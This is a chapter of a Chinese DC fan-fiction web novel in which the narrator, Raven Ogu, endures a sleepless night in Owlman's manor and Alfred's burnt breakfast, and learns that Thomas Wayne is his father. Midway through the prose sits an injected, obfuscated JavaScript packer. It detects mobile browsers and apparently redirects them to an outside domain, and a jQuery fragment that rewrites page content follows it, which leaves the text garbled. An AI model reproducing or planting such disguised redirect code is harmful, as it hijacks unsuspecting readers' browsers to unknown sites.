10. 英雄可不能临阵脱逃啊?但他是反派
作品:《[综英美]倒霉蛋是这样的》 21.
在我慢慢吞咽完那块“煤炭”后,阿尔弗雷德卡点走到餐桌旁,专业的收走盘子后,便带着我走到楼上的一间客房。
“请在客房休息,或许没过多久你就可以看见你心心念念的人了?小少爷。”
他的语气抑扬顿挫,或许是我真的吃完了他的焦土豆,感觉他的阴阳怪气稍微收敛了?也可能是他现在没说太多话。
我下意识的打量了一下阿尔弗雷德口中的“客房”,那更像一间奢华版的禁闭室。
巨大的四柱床占据在房间正中央,看起来柔软得能吞噬人,昂贵的丝绸被褥散发着陌生的、过于洁净的气息。而厚重的天鹅绒窗帘隔绝了哥谭的夜色,也隔绝了所有希望。
空气里只有古老的木头、灰尘和...一种无处不在的、冰冷的视线感。
如果没有那些夜枭安装的神奇妙妙小工具,那这可以算我睡过最好的房间了。果然,只要开局住的烂,看见哪里都是攀升的优待。
我知道有监控,肯定有。
也许在壁画的眼睛里,在桌椅四处的缝隙里,甚至在那盏华丽水晶吊灯的某个棱角上。毕竟夜枭绝不会放任一个来历不明的“小玩意儿”在他的巢穴里自由活动。
但是我不能拒绝,除非想在这里原地飞升,指被阿尔弗雷德现在拿着的手杖木仓一下提取灵魂。
我站在门口,余光自然而隐匿的撇见他用力攥紧那个凶器的手,沉默的走了进去。阿尔弗雷德关门声音很轻,只留下我一个人站在房间里面。
后背的疼痛在止痛剂作用下变成了沉闷的钝痛,但精神上的弦却绷紧到了极限。我像一具僵硬的木偶,走过去直挺挺地躺在床的正中央,连翻身都不敢。
每一次细微的呼吸都感觉暴露在无形的审视之下。如果是拉尔斯那粘稠贪婪的目光是毒蛇,夜枭这冰冷无情的监控就是悬在头顶的达摩克利斯之剑。
事已至此,先——
我严肃的打断了内心小人的建议,我能感受到它很焦虑,想逃避...
其实我也一样,毕竟这就是我的内心想法小人,但是我更理智,在这里睡一觉太危险了。
我的大脑在黑暗和极度的警觉中高速空转,闭上眼睛会不会下一秒就被真正的‘处理’掉?那个焦土豆是不是最后的晚餐?血液样本结果出来了吗?他知道了什么?
时间在死寂中缓慢爬行,窗外的黑暗渐渐褪成一种压抑的铅灰色。水晶吊灯没有亮起,但房间的轮廓在微弱的天光中逐渐清晰。眼睛干涩刺痛,像撒了沙子在里面。
我知道,我的下眼睑此刻一定挂着两团浓重的、如同被揍过的乌青——一夜无眠的勋章。
22.
当门被无声推开时,我几乎是弹坐起来的,动作牵扯到后背的伤,疼得我倒抽一口冷气又快速安静。
是阿尔弗雷德,他站在门口,依旧穿着那身一丝不苟的管家服,但是他的手上手里没有托盘,谢天谢地。
他蓝灰色的眼睛扫过我惨白的脸和醒目的黑眼圈,嘴角似乎极其轻微地向下撇了一下,带着一种“果然如此”的了然。
“早上好,小少爷。看来庄园的床垫不合您心意?您可真是个豌豆公主。”
他语气平淡,但每个字都像裹着冰渣的小针,“还是说,老爷的重压通过墙壁辐射进来,影响了您的睡眠质量?” 他侧身。
“餐厅,五分钟后。别让老爷等,您知道他的时间很宝贵,不是吗?”
阿尔弗雷德先是数落了我一顿,又给我投掷出一枚“炸弹”。
老爷,啊,不是,夜枭要跟我一起吃早餐?
这个认知比后背的伤更让我心惊肉跳,昨晚那块焦土豆的恐怖味道瞬间在舌根复苏。如果夜枭是一种味道,那么现在他一定比那焦土豆还黑暗。
我像个提线木偶,被阿尔弗雷德无声地“押送”着,再次穿过阴森的回廊。
看来夜枭是没有交电费啊,房间只有近晚上会打开灯,其他时候都黑的离谱,刺客联盟都没有这么节俭。
我脚步虚浮,每一步都踩在棉花上,黑眼圈沉重得几乎要坠下来,也就只能在心里数落了。
在生气与窝囊之间,选择了生窝囊气,不愧是我。
被阿尔弗雷德押送到餐厅时,那里跟昨天一样,依旧空旷冰冷。
不同的是,长长的红木餐桌尽头,那把象征着绝对权力的高背椅上,已经坐着一个人。
夜枭,他没有脱下他的装甲,拿着几份纸质报告,好似在走神,但紧绷的姿势与听见声音后快速锁定我的目光,都象征他的警惕。
晨光透过高窗落在他身上,勾勒出冷峻深刻的下巴线条。我能清晰的闻到空气中残留着昨天他身上的硝烟与血腥味,看来他也是一夜无眠,甚至没有换下他的装甲。
阿尔弗雷德这次拉开夜枭左手边隔了两个位置的椅子,无声地示意我坐下。冰冷的椅子硌着我僵硬的骨头。
空气凝固得像块铁板,只有夜枭轻轻的呼吸声我自己过于清晰的心跳声。那听起来很累,看来他其实是没有休息,又做了什么直接就来了。
我不知道说什么,夜枭也在继续看着他的报告,于是我低着头,盯着光洁桌面上自己模糊的倒影,那浓重的黑眼圈像个耻辱的标记。
时间一分一秒过去。阿尔弗雷德没有一直像一尊沉默的雕像站在夜枭身后稍远的位置,他一会儿就不知道想起什么离开了。
只留下了我与夜枭,他尖锐的手甲在纸质报告上轻轻一划,压出不明显的褶皱后,缓缓抬起头。
他的目光隔着头盔镜片毫无阻碍地、穿透性地落在我脸上,落在我那对无比醒目的黑眼圈上。
没有询问,没有寒暄。
他开口,声音是打磨过的钢铁,冰冷、平稳,毫无波澜,直接砸碎了餐厅里令人窒息的寂静。
“雷文·奥古。”
他准确地叫出了那个塔利亚赋予我的名字,仿佛早已烂熟于心。
“我是托马斯·韦恩。生物学意义上,我是你的父亲。”
随后,他将头盔缓缓摘了下来....
是的,摘了下来!
漏出一张属于哥谭首富,小托马斯·韦恩的,与我形似而神不似的脸。
世界瞬间失声。没有了头盔镜片的阻隔,那双眼睛直接暴露在晨光中,是深邃的、如同哥谭寒夜般的钢蓝色。里面没有任何温度,没有任何情绪,只有一片冻结了千年的冰湖,寒冷而疲惫。
我之前只是听过韦恩的名号,却从来没有想过刺客联盟会拿到小托马斯AKA夜枭的基因。
脑子里像是被塞进了一颗震撼弹,轰然炸开,所有纷乱的猜测、恐惧、荒谬感,都被这简短的陈述劈得粉碎。
父亲?托马斯·韦恩?我的...父亲?
信息碎片在爆炸后的空白中疯狂旋转,却无法拼凑出任何有意义的图景。
我猛地抬起头,动作之大扯得后背一阵剧痛也毫无所觉。瞳孔因为极度的震惊而放大,死死地瞪着餐桌尽头那个如同冰雕般的男人。
嘴唇无意识地张开,喉咙里却像是被什么东西死死堵住,发不出任何声音。
夜枭——也就是托马斯,他看起来依旧面无表情。
陈述完这个足以颠覆我所有认知的事实后,只是看似平静地回视着我,那双钢蓝色的冰湖里,好像依旧没有任何涟漪。
这仿佛只是在陈述“今天天气不好”这样无关紧要的事实。不过我知道,他在等待,等待我的反应,或者说,评估我这件“意外产物”的承受力和...利用价值?
不,他的眼神更加复杂,但是我却有些看不懂他了,混乱的情绪冲破了恐惧的堤坝。
“父亲?” 我几乎是下意识地重复了一遍他刚刚的话。
声音不大,却像一颗石子投入了死寂的冰湖。
托马斯的眉梢,极其极其轻微地,动了一下。
那不是一个明显的表情变化,更像是一种细微的肌肉牵动。那双钢蓝色的眼眸里,似乎有极其细微的变化,折射出一丝转瞬即逝的...意外?
他看着我,目光第一次带上了一丝明确的观察。之前他难道真的以为我是个被吓傻了的哑巴,或者一个只会执行杀戮命令的刺客傀儡?
他意外了?因为我说的话?还是我发出的声音?
这个认知像一道微弱的电流,刺穿了巨大的混乱。但下一秒,他那审视的目光就重新冻结,比之前更加深沉难测。
片刻后,托马斯也没有再说话,他收回了目光,重新变得如同冰雕般冷酷。
餐厅再次陷入令人窒息的沉默,这种沉默比昨天阿尔弗雷德的毒舌和焦土豆更可怕。它对我来说,带着一种无形的压力,一种来自血脉源头的、冰冷的漠然。
他可能在思考,又或者在发呆,但是他就是没有再搭理我了。
这让我像个被扒光了丢在冰原上的傻子,刚刚鼓起的微弱勇气瞬间泄光,只剩下更深的茫然和无措。
不可否认,在听到他说话时,我确实是想跟他交流的,但是我应该怎么做?
认亲?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193174|181119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痛哭流涕?还是...继续装死?在拉尔斯面前我能伪装,在塔利亚面前我能沉默。
但在小托马斯·韦恩——这个用最冷漠方式宣告了父子关系的男人面前,我所有的生存策略似乎都失效了。
难不成我还能跟他调侃什么父亲,你比我想象中的还要高一点吗?那我身高有救了,基因的大奋没有毒害我。
父亲一米八以上,母亲一米七以上,这我以后能输?我应该这样说吗?但是我张不开嘴,那条“冷酷的冰湖”隔绝了我们的交流。
就在我一筹莫展之时,“救星”来了。
阿尔弗雷德,迈着他那优雅而无声的步伐,端着另一个银质托盘,如同舞台剧主角般隆重登场。
他脸上带着一种近乎悲壮的、仿佛即将献祭般的严肃表情,将托盘稳稳地放在了我和托马斯之间的桌面上。
盖子揭开。
一股难以形容的,混合着焦糊和某种化学药剂般气味的“香气”,瞬间弥漫了整个餐厅。
托盘中央的“杰作”,让昨晚那块焦土豆都显得像米其林三星。
“这是今日的早餐。”
他说完就站在托马斯靠后的位置上继续待机。
怎么形容他的厨艺呢?不能说非常好,只能说差的离谱。
我看见两团扭曲焦黑的不明物体,边缘是锯齿状的碳化层,顽强地试图包裹住几片同样焦黑的、疑似培根的碎片。
而培根与其说是肉,不如说是几根形状各异的黑色炭条,弯曲着,散发着浓烈的烧焦版烟熏气息。
这样一对比,他拿来的牛奶倒是唯一能算的上是中规中矩的了,可能是因为牛奶是唯一不用他现做的。
所以他刚刚突然离开是记起来厨房里面的灶台上还躺着这些“尸体”吗?
我与托马斯的目光,同时聚焦在这盘堪称“后现代主义灾难艺术”的早餐上。
而托马斯·韦恩,哥谭的统治者,徒手拆了刺客联盟的凶神,那双钢蓝色的冰湖第一次出现了明显的、剧烈的波动。
虽然依旧没有大幅度表情,但他的下颌线瞬间绷紧,如同拉满的弓弦,下意识拿起银质餐具的手指关节因为用力而微微发白。
我看出那眼神,仿佛看到的不是早餐,而是刚刚被阿尔弗雷德端上桌的、哥谭下水道里捞出来的变异生物标本。
而我,雷文·奥古,先是下意识望了望夜枭,随后看着这盘比拉尔斯的存在更挑战人类感官极限的“食物”,脑子里只剩下昨晚那块焦土豆带来的、深入灵魂的恐惧回忆。
“......”
“......”
只剩下一片死寂。
比刚才宣布父子关系时更加沉重、更加绝望的死寂,笼罩了整个餐厅,但我跟托马斯之间的氛围在这个的烘托下居然好了一点。
而阿尔弗雷德,这位优雅的“罪魁祸首”,微微挺直了背脊。
他脸上带着一种“任务完成”的、近乎神圣的平静,仿佛他刚刚端上来的不是早餐,而是拯救哥谭的希望。
他看着眼前陷入石化状态托马斯与我,用他那最标准的英伦腔,平静地、甚至带着一丝不易察觉的骄傲继续宣布。
“请慢用,托马斯老爷,雷文少爷。即使今日因为耽误,导致早餐有些焦脆,但依旧是成功的,不是吗?”
成功了...吗?这居然是焦脆的成功吗?
我觉得他这短短的一句话直接内涵了我与夜枭沉默了大半天才进入正题,但阿尔弗雷德对成功的定义会不会有点奇怪?
我又想抬头看看托马斯的表情,却发现他早就戴上头盔,冷漠的说了一句还有事就离开了,只留给我一个背影。
我好像从他丝滑的一系列动作中看见了几分火急火燎的感觉,是错觉吧?
阿尔弗雷德也没有说什么,只是望着夜枭的背影片刻后,走过来将托马斯的早餐转移到我的位置上来。
“您还在长身体,雷文少爷,请多吃一点。”
我在他看似慈爱的目光中压力山大,轻轻抿了抿嘴唇,冷汗顺着身体缓缓留下。
这难道不是谋杀吗?雷文。
内心的小人与我一样绝望,甚至开始怪叫,抗拒着阿尔弗雷德的“美食”。
但最终,我还是带着一些颤颤巍巍的拿起刀叉,缓缓的将这些生化武器放入嘴中。
......
果然很难吃。
这是我在被背后伤口裂开,一晚上没有睡觉,加上此等毒物攻击的三重打击下,晕厥前最后的想法。

